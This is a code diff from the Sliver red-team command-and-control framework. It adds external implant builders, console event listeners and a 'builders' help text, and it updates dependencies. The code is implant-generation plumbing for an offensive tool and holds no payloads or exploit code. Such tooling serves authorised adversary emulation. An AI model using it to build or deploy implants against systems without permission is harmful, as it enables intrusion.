con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case <-sigint:
|
||||
waiting = false
|
||||
con.Printf("\n")
|
||||
return nil, fmt.Errorf("user interrupt")
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
@@ -635,9 +782,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
@@ -670,7 +816,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -760,3 +906,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(builders.Builders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoExternalBuilder
|
||||
}
|
||||
|
||||
validBuilders := []*clientpb.Builder{}
|
||||
for _, builder := range builders.Builders {
|
||||
for _, target := range builder.Targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
|
||||
validBuilders = append(validBuilders, builder)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(validBuilders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoValidBuilders
|
||||
}
|
||||
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoValidBuilders
|
||||
}
|
||||
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"Template",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = "sliver"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
config.TemplateName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
|
||||
@@ -105,6 +105,9 @@ var (
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -701,6 +704,13 @@ the target extension must have either of these two sets of permissions:
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
|
||||
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
|
||||
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
|
||||
|
||||
External builders allow the Sliver server offload implant builds onto external machines.
|
||||
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -70,7 +70,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
con.PrintErrorf("Incorrect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -44,6 +44,7 @@ import (
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveTarget *ActiveTarget
|
||||
EventListeners *sync.Map
|
||||
BeaconTaskCallbacks map[string]BeaconTaskCallback
|
||||
BeaconTaskCallbacksMutex *sync.Mutex
|
||||
IsServer bool
|
||||
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
},
|
||||
EventListeners: &sync.Map{},
|
||||
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
|
||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||
IsServer: isServer,
|
||||
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
})
|
||||
|
||||
go con.EventLoop()
|
||||
go con.startEventLoop()
|
||||
go core.TunnelLoop(rpc)
|
||||
|
||||
err := con.App.Run()
|
||||
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
return err
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) EventLoop() {
|
||||
func (con *SliverConsoleClient) startEventLoop() {
|
||||
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
return
|
||||
}
|
||||
|
||||
go con.triggerEventListeners(event)
|
||||
|
||||
// Trigger event based on type
|
||||
echoed := false // Only echo the event once
|
||||
switch event.EventType {
|
||||
|
||||
case consts.CanaryEvent:
|
||||
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
msg := string(event.Data)
|
||||
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.JoinedEvent:
|
||||
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
case consts.LeftEvent:
|
||||
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.JobStoppedEvent:
|
||||
job := event.Job
|
||||
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
}
|
||||
con.PrintEventInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
echoed = true
|
||||
|
||||
}
|
||||
|
||||
con.triggerReactions(event)
|
||||
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
// Only render if we echoed the event
|
||||
if echoed {
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
|
||||
listener := make(chan *clientpb.Event, 100)
|
||||
listenerID, _ := uuid.NewV4()
|
||||
con.EventListeners.Store(listenerID.String(), listener)
|
||||
return listenerID.String(), listener
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
|
||||
value, ok := con.EventListeners.LoadAndDelete(listenerID)
|
||||
if ok {
|
||||
close(value.(chan *clientpb.Event))
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
|
||||
con.EventListeners.Range(func(key, value interface{}) bool {
|
||||
listener := value.(chan *clientpb.Event)
|
||||
listener <- event // Do not block while sending the event to the listener
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
reactions := core.Reactions.On(event.EventType)
|
||||
if len(reactions) == 0 {
|
||||
|
||||
@@ -90,7 +90,10 @@ const (
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
ExternalBuildEvent = "external-build"
|
||||
AcknowledgeBuildEvent = "external-acknowledge"
|
||||
ExternalBuildFailedEvent = "external-build-failed"
|
||||
ExternalBuildCompletedEvent = "external-build-completed"
|
||||
|
||||
// WireGuardNewPeer - New Wireguard peer added
|
||||
WireGuardNewPeer = "wireguard-newpeer"
|
||||
@@ -253,6 +256,8 @@ const (
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
CursedCookies = "cookies"
|
||||
|
||||
BuildersStr = "builders"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.19.1"
|
||||
GARBLE_VER="1.19.2"
|
||||
GO_VER="1.19.2"
|
||||
GARBLE_VER="1.19.3"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -13,8 +13,8 @@ require (
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
github.com/chromedp/chromedp v0.8.6
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
@@ -24,35 +24,34 @@ require (
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.16.5
|
||||
github.com/onsi/gomega v1.20.2
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.8
|
||||
github.com/shirou/gopsutil/v3 v3.22.9
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/spf13/cobra v1.6.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.org/x/text v0.3.8
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.10
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.9
|
||||
gorm.io/driver/mysql v1.4.1
|
||||
gorm.io/driver/postgres v1.4.4
|
||||
gorm.io/driver/sqlite v1.4.2
|
||||
gorm.io/gorm v1.24.0
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
@@ -71,7 +70,6 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
@@ -80,10 +78,10 @@ require (
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
@@ -92,6 +90,7 @@ require (
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
@@ -104,7 +103,6 @@ require (
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
@@ -112,14 +110,17 @@ require (
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
|
||||
@@ -48,10 +48,10 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777 h1:nEnjcdmVQjhtQm0RFJxRINMw7lsQ8gidtbpsidiDqpY=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.6 h1:KobeeqR2dpfKSG1prS3Y6+FbffMmGC6xmAobRXA9QEQ=
|
||||
github.com/chromedp/chromedp v0.8.6/go.mod h1:nBYHoD6YSNzrr82cIeuOzhw1Jo/s2o0QQ+ifTeoCZ+c=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -104,9 +104,6 @@ github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
@@ -119,7 +116,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
@@ -158,8 +154,8 @@ github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
